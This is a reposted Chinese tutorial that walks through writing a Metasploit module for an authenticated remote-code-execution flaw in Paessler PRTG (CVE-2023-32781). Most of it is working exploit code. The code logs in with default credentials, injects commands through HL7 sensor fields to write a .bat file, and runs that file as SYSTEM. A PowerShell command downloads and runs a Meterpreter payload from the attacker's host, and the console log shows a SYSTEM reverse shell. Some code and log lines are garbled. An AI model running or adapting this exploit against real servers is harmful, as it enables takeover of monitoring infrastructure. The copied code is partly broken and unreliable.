目录
-
介绍
-
设置开发环境
-
构建针对CVE-2023-32781的攻击
-
使用CmdStager运行Meterpreter
-
将模块提交到metasploits公共存储库
介绍
人们经常使用 metasploit 来利用其他人编写的漏洞。但是,编写漏洞利用并将其作为 metasploit 模块发布后的实际过程是什么?这是一个需要完成的重要步骤,因为其他专业人员可以在客户参与中重复使用您的工作。这篇文章概述了我将 PRTG 中经过身份验证的远程代码执行 (RCE) 漏洞(标识为 CVE-2023-32781)转换为 Metasploit 漏洞的过程。这里的重点是漏洞利用本身的开发,而不是利用 RCE 的步骤。有关该漏洞的具体细节,请参阅标题为 PRTG 远程代码执行的相应帖子。
文章链接:https://baldur.dk/blog/prtg-rce.html
设置开发环境
我们不想在本地机器上安装所有东西,而只是想要一个快速运行的 metasploit。为此,我们可以使用他们的 docker 镜像。
镜像地址
https://hub.docker.com/r/metasploitframework/metasploit-framework/
以下命令将启动并运行。这些将拉取 metasploit docker镜像。
docker pull metasploitframework/metasploit-framework
docker run --rm --net=host -it metasploitframework/metasploit-framework
上面需要注意的一个重要部分是--net=host参数。您可能在另一个容器或另一个虚拟机或类似容器中运行易受攻击的服务。您的docker可能与主机没有相同的网络访问权限,但此参数强制它具有相同的访问权限。这也将允许反向有效载荷在主机接口上监听,而不是在默认情况下可能无法访问的容器内监听。
Metasploit现已启动并运行。所有常用的命令都可用,例如use <exploit>等。但我们真正想要的是在这个实例中运行我们自己的cve_2023_32781.rb。
首先,我们将用漏洞利用所需的基础知识编写cve_2023_32781.rb。
# cve_2023_32781.rb
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PRTG CVE-2023-32781 Authenticated RCE',
'Description' => %q{
Authenticated RCE in Paessler PRTG
},
'License' => MSF_LICENSE,
'Author' => ['ggisz'],
'References' => [
[ 'URL', 'https://baldur.dk/blog/prtg-rce.html'],
[ 'CVE', '2023-32781']
],
'DisclosureDate' => '2023-08-09',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
end
def check
CheckCode::Vulnerable
end
def exploit
connect
print_status("PRTG Incomplete exploit")
handler
end
end
要将文件cve_2023_32781.rb映射到metasploit,我们需要使用该文件创建一个目录,然后使用docker volume命令来挂载。
baldur:~$ mkdir development
baldur:~$ mv cve_2023_32781.rb development
baldur:~$ docker run --rm --net=host -it -v $PWD/development:/usr/src/metasploit-framework/modules/exploits/development/ metasploitframework/metasploit-framework
最后一个命令只是将我们的本地开发文件夹挂载到metasploit用于发现可用漏洞的文件夹中。
/usr/src/metasploit-framework/modules/exploits/development/
在启动metasploit时,我们注意到2355个漏洞可用,而不是2354个。
现在,我们可以使用以下命令来使用并获取有关我们加载的漏洞的信息。
use exploit/development/cve_2023_32781
在开发过程中修改漏洞是一个标准过程。通过使用reload命令,对利用漏洞进行的任何更改,例如更改cve_2023_32781.rb中的名称,都会立即反映出来。
构建针对 CVE-2023-32781 的攻击
现在我们的开发环境已经建立,我们可以直接进入实际构建漏洞利用。
我们的利用包括以下步骤:
①使用默认凭据登录(prtgadmin:prtgadmin)
②创建.bat文件
③触发运行.bat文件
④运行meterpreter会话
第一步是登录到应用程序并验证我们的身份验证是否正确。为此,我们需要能够指定利用漏洞进行身份验证的方式以及默认凭据是什么。register_options在这里派上了用场。
这应该放在定义的initialize内部,但在super之后。
register_options(
[
OptString.new(
'USERNAME',
[ true, 'The username to authenticate with', 'prtgadmin' ]
),
OptString.new(
'USERNAME',
[ true, 'The username to authenticate with', 'prtgadmin' ]
),
OptString.new(
'URI',
[ true, 'The URI for the PRTG web interface', '/' ]
)
]
)
现在,我们可以重新加载并获取漏洞信息,并查看可用选项。
当运行负载时,您可以简单地省略实际设置选项的过程。只需编写run rhost=127.0.0.1 rport=13380,即可动态设置它们,并允许快速调试和环境更改。rhosts指定目标地址,并rport目标端口。我使用端口转发,这就是它在本地接口上监听的原因。
现在,我们需要针对PRTG实际进行身份验证尝试的代码。为此,我们需要修改漏洞利用方法。让我们从Burp Suite的角度来了解身份验证尝试。
在这里我们看到以下请求:
这里需要注意的重要部分是所需的参数、http方法和内容类型,因为它可能是JSON。在这种情况下,它只是应用程序/x-www-form-urlencoded。然后记下请求路径。在某些情况下,应用程序有额外的检查(我们稍后会看到)、CSRF令牌等需要处理,但目前情况并非如此。因此,现在我们可以简单地用一种新方法构建身份验证检查:
def authenticate_prtg
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI'], 'public', 'checklogin.htm'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
unless res
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
end
if res && res.code == 302 && res.headers['Set-Cookie']
print_good('Successfully authenticated against PRTG')
else
fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG')
end
end
在上面的例子中,它使用了metasploit中名为send_request_cgi的内部函数,然后用给定的URI和路径/public/checklogin.htm构建请求。然后从我们的配置中输入参数,并将其发送到服务器。第一个检查只是连接问题,但第二个检查是有趣的部分。在这里,我们检查http代码302,以及服务器是否试图通过设置Cookie标志设置Cookie。这表明我们之前通过Burp Suite交互了解到了成功的身份验证尝试。这根据目标应用程序的不同而有很大差异。
到目前为止,是时候检查我们的漏洞了。让我们首先检查默认凭据,然后主动设置错误的凭据,看看它是否正确地抛出错误。
注意:会有一些反向TCP处理程序消息,但目前,我们不关心它们。
现在,我们可以看到成功的身份验证消息:Successfully authenticated against PRTG。
让我们验证它是否因错误的凭据而失败。
第一部分完成。现在,我们可以针对 PRTG 进行身份验证。所以现在我们还剩下 2 个阶段,即触发文件写入和执行写入的文件。让我们首先为下一阶段定义两个样板函数。这些将在身份验证阶段之后运行。
def write_bat_file_to_disk
# Uses the HL7Sensor for writing a .bat file to the disk
print_good('Writing .bat to disk')
end
def run_bat_file_from_disk
# Run the .bat file that we previously wrote to the disk
print_good('Running .bat from disk')
end
为了完成函数write_bat_file_to_disk,我们需要三件事:
①我们通过身份验证方法获得的cookie。
②创建HL7传感器的请求
③运行HL7传感器的请求
如果我们查看send_request_cgi方法的文档,那么为将来的请求保留cookie是很容易的。在这里,我们可以看到一个标志keep_cookies存在。
send_request_cgi方法的文档
https://docs.metasploit.com/docs/development/developing-modules/libraries/http/how-to-send-an-http-request-using-httpclient.html#keep_cookies-option
这将把服务器设置的所有cookie保存在HttpClient中的cookie存储中,以供将来的请求使用。因此,现在我们可以将所有未来的请求作为身份验证发送。
对于创建HL7传感器的请求,我们重复身份验证流程中的步骤,并通过burp请求创建,并记下相关部分。我不会详细介绍整个请求,但有一点不同,也很重要,那就是我们现在有了一个反csrf令牌,就像我们在这类应用程序中通常使用的一样。因此,在发出任何请求之前,我们需要获取此令牌。
反csrf令牌可以以多种方式存储,因此这非常依赖于应用程序。然而,在这个特定的示例中,在向/welcome.htm(可能还有任何其他页面)发出请求时,该值会反映在DOM中。
为了提取这一点,我们创建了一个名为get_csrf_token的函数,该函数请求/welcome.htm,解析正文,并返回反csrf令牌字符串。从主体中提取实际的令牌是通过使用正则表达式来完成的,该正则表达式是为它在PRTG中的外观指定的。
def get_csrf_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], '/welcome.htm'),
'keep_cookies' => true,
})
if res.nil? || res.body.nil?
fail_with(Failure::NoAccess, 'Page with CSRF token not available')
end
regex = %r{csrf-token" content="([^"]+)"}
token = res.body[regex, 1]
print_good("Extracted token")
print_good(token)
token
end
这里有趣的部分是正则表达式。它匹配csrf令牌“content=”,然后创建第二个组,并匹配该组中的所有字符,直到出现“character arive”。然后我们提取该组1,使用此res.body[regex,1]。
现在我们有了获取请求所需的反csrf令牌的方法,我们可以继续构建方法write_bat_file_to_disk。
我不会详细介绍漏洞利用的细节,因为博客文章中对该漏洞进行了彻底的描述,而是概述了write_bat_file_to_disk方法中涉及的两个步骤。
①向创建HL7传感器的端点/addsensor5.htm发送请求。在这里,反csrf令牌作为参数嵌入POST主体中。
②是否将请求发送到/controllers/deviceoverview.htm?id=40,因为我们需要获得刚刚创建的HL7传感器的id。遗憾的是,/addsensor5.htm响应中没有反映此id。
③向端点/api/scannow.htm发送一个请求,其中包含我们刚刚创建的HL7传感器的id。反csrf令牌作为标头嵌入到该请求中,因为这是应用程序所依赖的。
所有请求的详细信息都是通过Burp Suite提取的,只需读取HTTP请求即可。
因此,在编写write_bat_file_to_disk的更新方法时,我们得到了以下代码。
def write_bat_file_to_disk
# Uses the HL7Sensor for writing a .bat file to the disk
print_status('Writing .bat to disk')
csrf_token = get_csrf_token
# Generate a random sensor name
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat"
print_status("Generated sensor_name #{sensor_name}")
print_status("Generated bat_file_name #{bat_file_name}")
params = {
'name_' => sensor_name,
'parenttags_' => '',
'tags_' => 'dicom hl7',
'priority_' => '3',
'port_' => '104',
'timeout_' => '60',
'override_' => '0',
'sendapp_' => 'test',
'sendfac_' => 'test',
'recvapp_' => 'test',
'recvfac_' => "testtest4" -debug="C:\Program Files (x86)\PRTG Network Monitor\Custom Sensors\EXE\#{bat_file_name}" -recvapp="test",
'hl7file_' => 'ADT_& mkdir c:\metasploit & A08.hl7|ADT_A08.hl7||',
'hl7filename' => '',
'intervalgroup' => ['0', '1'],
'interval_' => '60|60 seconds',
'errorintervalsdown_' => '1',
'inherittriggers' => '1',
'id' => '40',
'sensortype' => 'hl7',
'tmpid' => '2',
'anti-csrf-token' => csrf_token,
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI'], '/addsensor5.htm'),
'keep_cookies' => true,
'vars_post' => params
})
unless res
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
end
if res && res.code == 302
print_status('HL7 Sensor created')
else
fail_with(Failure::NoAccess, 'Failure to create HL7 sensor')
end
print_good("HL7 Sensor succesfully created")
# Actually creating the sensor can take 1-2 seconds
sleep(5)
sensor_id = get_created_sensor_id(sensor_name)
print_status("Requesting HL7 Sensor to initiate scan")
run_sensor_with_id(sensor_id)
print_good(".bat file written to disk")
bat_file_name
end
我们在这段代码中讨论了很多内容,但一些小的新内容是,我们现在将headers标志传递给send_request_cgi,因为这个函数需要将anti-csrf令牌作为头。另一件事是X-Requested-Wwith,它必须设置为XMLHttpRequest,否则我们会得到一个拒绝权限的错误。同样,对于您编写的每一个漏洞,这些都是您必须处理的事情,因为逻辑完全依赖于应用程序。sensor_name和bat_file_name现在是随机生成的,以避免与现有传感器或bat文件发生冲突。另一件事是,我们引入了用于获取sensor_id的函数。它获取传感器的名称,解析DOM并找到id。它与get_csrf_token方法非常相似。
def get_created_sensor_id(sensor_name)
print_status("Fetching created sensor id")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], 'controls', 'deviceoverview.htm'),
'keep_cookies' => true,
'vars_get' => {
'id' => 40,
}
})
if res.nil? || res.body.nil?
fail_with(Failure::NoAccess, 'Page with sensorid not available')
end
regex = %r{id=([0-9]+)">#{sensor_name}}
sensor_id = res.body[regex, 1]
print_status("Extracted sensor_id: #{sensor_id}")
sensor_id
end
函数run_sensor_with_id也是如此,它只是向/api/scannow.htm发出请求,并用给定的id启动传感器。
def run_sensor_with_id(sensor_id)
csrf_token = get_csrf_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI'], 'api', 'scannow.htm'),
'keep_cookies' => true,
'headers' => {
'anti-csrf-token' => csrf_token,
'X-Requested-With'=> 'XMLHttpRequest'
},
'vars_post' => {
'id': sensor_id,
}
})
if res && res.code == 200
print_good('Sensor started running')
else
fail_with(Failure::NoAccess, 'Failure to run sensor')
end
end
现在我们需要通过EXE传感器运行创建的.bat文件。这个过程与上面的其他项目非常相似。我们将在旧的样板函数run_bat_file_from_disk中执行此操作。
①通过endpoint/addsensor5.htm创建一个EXE/Script传感器,并指定要运行的文件,即我们新创建的.bat文件。
②是否将请求发送到/controllers/deviceoverview.htm?id=40,因为我们需要获得我们刚刚创建的EXE/Script传感器的id。遗憾的是,/addsensor5.htm响应中没有反映此id。
③向端点/api/scannow.htm发送一个请求,其中包含我们刚刚创建的EXE/Script传感器的id。反csrf令牌作为标头嵌入到该请求中,因为这是应用程序所依赖的。
由于步骤2和3与write_bat_file_to_disk函数内最后步骤中的步骤2和步骤3非常接近,因此我们将重用我们定义的两个函数,即get_created_sensor_id和run_sensor_with_id。
这将使我们的run_bat_file_from_disk函数看起来如下:
注意:当手动利用此问题时,HTTP请求的所有相关参数都只需截取Burp请求即可。
def run_bat_file_from_disk(bat_file_name)
print_status("Running the .bat file: #{bat_file_name}")
csrf_token = get_csrf_token
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
params = {
"name_" => sensor_name,
"parenttags_" => "",
"tags_" => "exesensor",
"priority_" => "3",
"scriptplaceholdergroup" => "1",
"scriptplaceholder1description_" => "",
"scriptplaceholder1_" => "",
"scriptplaceholder2description_" => "",
"scriptplaceholder2_" => "",
"scriptplaceholder3description_" => "",
"scriptplaceholder3_" => "",
"scriptplaceholder4description_" => "",
"scriptplaceholder4_" => "",
"scriptplaceholder5description_" => "",
"scriptplaceholder5_" => "",
"exefile_" => "#{bat_file_name}|#{bat_file_name}||",
"exefilelabel" => "",
"exeparams_" => "",
"environment_" => "0",
"usewindowsauthentication_" => "0",
"mutexname_" => "",
"timeout_" => "60",
"valuetype_" => "0",
"channel_" => "Value",
"unit_" => "#",
"monitorchange_" => "0",
"writeresult_" => "0",
"intervalgroup" => "0",
"interval_" => "43200|12 hours",
"errorintervalsdown_" => "1",
"inherittriggers" => "1",
"id" => "40",
"sensortype" => "exe",
"tmpid" => "6",
"anti-csrf-token" => csrf_token,
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI'], '/addsensor5.htm'),
'keep_cookies' => true,
'vars_post' => params
})
unless res
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
end
if res && res.code == 302
print_status('EXE Script sensor created')
else
fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor')
end
print_status("Sleeping 5 seconds to wait for sensor creation")
sleep(5)
sensor_id = get_created_sensor_id(sensor_name)
run_sensor_with_id(sensor_id)
print_good("Exploit completed. Waiting for payload")
end
上述脚本没有引入任何需要进一步解释的新概念。现在我们有了一个功能齐全的漏洞,它将创建一个.bat文件,其中包含一个将作为SYSTEM执行的有效命令。我们的漏洞利用函数现在如下所示:
def exploit
connect
print_status("PRTG Incomplete exploit")
authenticate_prtg
bat_file_name = write_bat_file_to_disk
run_bat_file_from_disk(bat_file_name)
print_status("Exploit done")
# handler
end
当我们重新加载并运行创建的漏洞时,我们会得到以下信息:
使用CmdStager运行Meterpreter
还记得我告诉过你不要担心Started反向TCP处理程序吗?现在是时候修复那个部分了。目前,我们只是注入一个mkdir有效载荷,如创建HL7Sensor的请求的hl7file_参数所示。我们希望能够使用Metasploits的内部有效负载库来制作任意的有效负载。也就是说,我们希望使用meterpreter来证明充分的利用功能。
为了能够使用meterpreter等内部有效载荷,我们需要包括一个stager mixin。对于这个特定的漏洞,我们有一个可以执行的命令,Msf::Exploit::CmdStager是一个很好的选择。
Msf::Exploit::CmdStag参考
https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html#the-msfexploitcmdstager-mixin
这使我们能够创建一个包装器,并告诉metasploit如何执行命令并为我们启动有效负载。现在,在我们的模块中包含Msf::Exploit::CmdStager之后,我们需要告诉它我们的目标,以及我们希望stager如何工作。以下内容将包含在我们开发的update_info函数中。这一消息告诉metasploit,我们希望将用户使用psh_invokewebrequest选择的有效负载暂存。这使用powershell获取我们的有效负载并在机器上运行它。这很好,因为我们的初始有效载荷中没有太多空间。
'Targets' =>
[
[ 'Windows',
{
'Arch' => [ ARCH_X86_64, ARCH_X86 ],
'Platform' => 'win',
'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]
}
]
]
一旦Msf::Exploit::CmdStagermixin就位,我们需要创建一个名为execute_command的函数,该函数由mixin使用。简而言之,我们的模块利用方法现在看起来如下。我们暂时取消了旧项目。因此execute_cmdstager是Msf::Exploit::CmdStager提供的内部函数。它对我们选择的有效负载起到了神奇的作用,然后它将通过调用execute_command来运行它构建的命令,execute_ccommand是我们定义的一个函数。
def exploit
connect
execute_cmdstager(flavor: :psh_invokewebrequest)
# print_status("PRTG Incomplete exploit")
# authenticate_prtg
# bat_file_name = write_bat_file_to_disk
#run_bat_file_from_disk(bat_file_name)
# print_status("Exploit done")
# handler
end
def execute_command(cmd, opts = {})
print_status(cmd)
end
现在,我们只是打印cmd,看看幕后发生了什么。我们只需重新加载模块,将有效载荷设置为windows/meterpreter/reverse_tcp。设置SRVPORT,分段器将在这里获取有效载荷的第二部分。因此,您的主机/攻击者将监听的端口。目前,我们没有设置与meterpreter相关的LPORT和LHOST,但目前还不相关。
正如我们所看到的,它为我们构建了一个很好的staging命令。这个命令只需下载Nxvfrnet.exe二进制文件,它是使用powershell的meterpreter,然后运行它。
powershell.exe -c Invoke-WebRequest -OutFile %TEMP%Nxvfrnet.exe http://127.0.1.1:10102/oUwmBJI & %TEMP%Nxvfrnet.exe & del %TEMP%Nxvfrnet.exe
因此,现在我们必须修改要从execute_command中调用的原始漏洞利用代码,以便知道要将什么传递到我们创建的.bat文件中。
为了实现这一点,我们将重新安排我们的利用:
def exploit
connect
execute_cmdstager(flavor: :psh_invokewebrequest)
end
def execute_command(cmd, opts = {})
print_status("Running PRTG RCE exploit")
authenticate_prtg
bat_file_name = write_bat_file_to_disk(cmd)
run_bat_file_from_disk(bat_file_name)
print_status("Exploit done")
handler
end
现在,我们只需调整write_bat_file_to_disk,就可以使用cmd参数并将其写入文件中。
def write_bat_file_to_disk(cmd)
cmd = cmd.gsub! '\', '\\\'
...SNIP...
params = {
...SNIP...
'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||",
...SNIP...
一个小问题是PRTG对他们的角色很奇怪,他们想要更多。因此,通过在cmd.gsub! '\', '\\\'行中添加一些额外内容,可以在中修复此问题
现在我们的漏洞应该可以运行了!
msf6 > use exploit/development/cve_2023_32781
[reverse_tcp ] No payload configured, defaulting to windows/meterpreter/
msf6 exploit(development/cve_2023_32781) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(development/cve_2023_32781) > set RPORT 13380
RPORT => 13380
msf6 exploit(development/cve_2023_32781) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf6 exploit(development/cve_2023_32781) > set SRVPORT 10106
SRVPORT => 10106
msf6 exploit(development/cve_2023_32781) > set LPORT 4446
LPORT => 4445
msf6 exploit(development/cve_2023_32781) > set LHOST 192.168.56.1
msf6 exploit(development/cve_2023_32781) > exploit
[*] Started reverse TCP handler on 192.168.56.1:4446
[*] Using URL: http://192.168.56.1:10105/sF321hmEZCz
[*] Running PRTG RCE exploit
[+] Successfully authenticated against PRTG
[*] Writing .bat to disk
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[ ] Generated sensor_name Wg83qiZvO
[ ] Generated bat_file_name rjKu8O2Pt.bat
[ ] HL7 Sensor succesfully created
[5 seconds to wait for sensor creation ] Sleeping
[ ] Fetching created sensor id
[2095 ] Extracted sensor_id:
[ ] Requesting HL7 Sensor to initiate scan
[ ] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[ ] Sensor started running
[ ] .bat file written to disk
[ ] Running the .bat file: rjKu8O2Pt.bat
[ ] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[ ] EXE Script sensor created
[5 seconds to wait for sensor creation ] Sleeping
[ ] Fetching created sensor id
[2096 ] Extracted sensor_id:
[ ] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[ ] Sensor started running
[for payload ] Exploit completed. Waiting
[ ] Exploit done
[100.00% done (150/150 bytes) ] Command Stager progress -
[192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428) requested /sF321hmEZCz ] Client
[192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428) ] Sending payload to
[Sending stage (175686 bytes) to 192.168.56.1 ]
[*] Meterpreter session 1 opened (192.168.56.1:4446 -> 192.168.56.1:43926) at 2023-11-23 17:06:34 +0000
[*] Server stopped.
meterpreter > shell
Process 4280 created.
Channel 1 created.
Microsoft Windows [Version 10.0.22621.2428]
(c) Microsoft Corporation. All rights reserved.
C:WindowsSystem32>whoami
whoami
nt authoritysystem
我们针对metasploit框架的第一个全功能开发!现在,其他专业人员可以在约定中重复使用我们的工作。
将模块提交到metasploits公共存储库
现在,我们希望我们的漏洞进入官方的metasploit存储库。为此,步骤如下:
转到 https://github.com/rapid7/metasploit-framework 和fork
Git 克隆存储库forked
为您的漏洞利用创建一个新分支
将漏洞添加到分支
将分支推送到 github 并发出pull request
baldur:~$ git clone git@github.com:ggisz/metasploit-framework.git
baldur:~$ cd metasploit-framework
baldur:~$ git checkout -b prtg_authenticated_rce_cve_2023_32781
baldur:~$ cp cve_2023_32781.rb modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
baldur:~$ git add modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
baldur:~$ git commit -m "added exploit for CVE-2023-32781 - PRTG authenticated RCE"
baldur:~$ git push --set-upstream origin prtg_authenticated_rce_cve_2023_32781
正如您在下面的命令中注意到的那样,我们重命名我们的漏洞并将其放置在modules/archited/windows/prtg_authenticated_rce_cve_2023_32781.rb中。这取决于您如何找到最适合新漏洞的目录。在我们的例子中,它是基于HTTP的,并且仅限于windows,这使它成为该文件夹的完美候选者。此外,以前的PRTG漏洞也会写入该文件夹。
现在转到github的metasploit框架,创建一个pull请求,将您的分支合并到metasploitframework主分支中。这个拉取请求应该包括关于新模块的所有信息,以减轻rapid7的负担。
以下是我的pull请求:
https://github.com/rapid7/metasploit-framework/pull/18568
在这里你可以看到完整的完整漏洞。现在让我们希望rapid7接受它。
文章源地址:
https://baldur.dk/blog/writing-metasploit-exploit.html
免责声明:
本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责
原文始发于微信公众号(sahx安全从业记):教你如何编写metasploit 远程代码执行利用模块
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论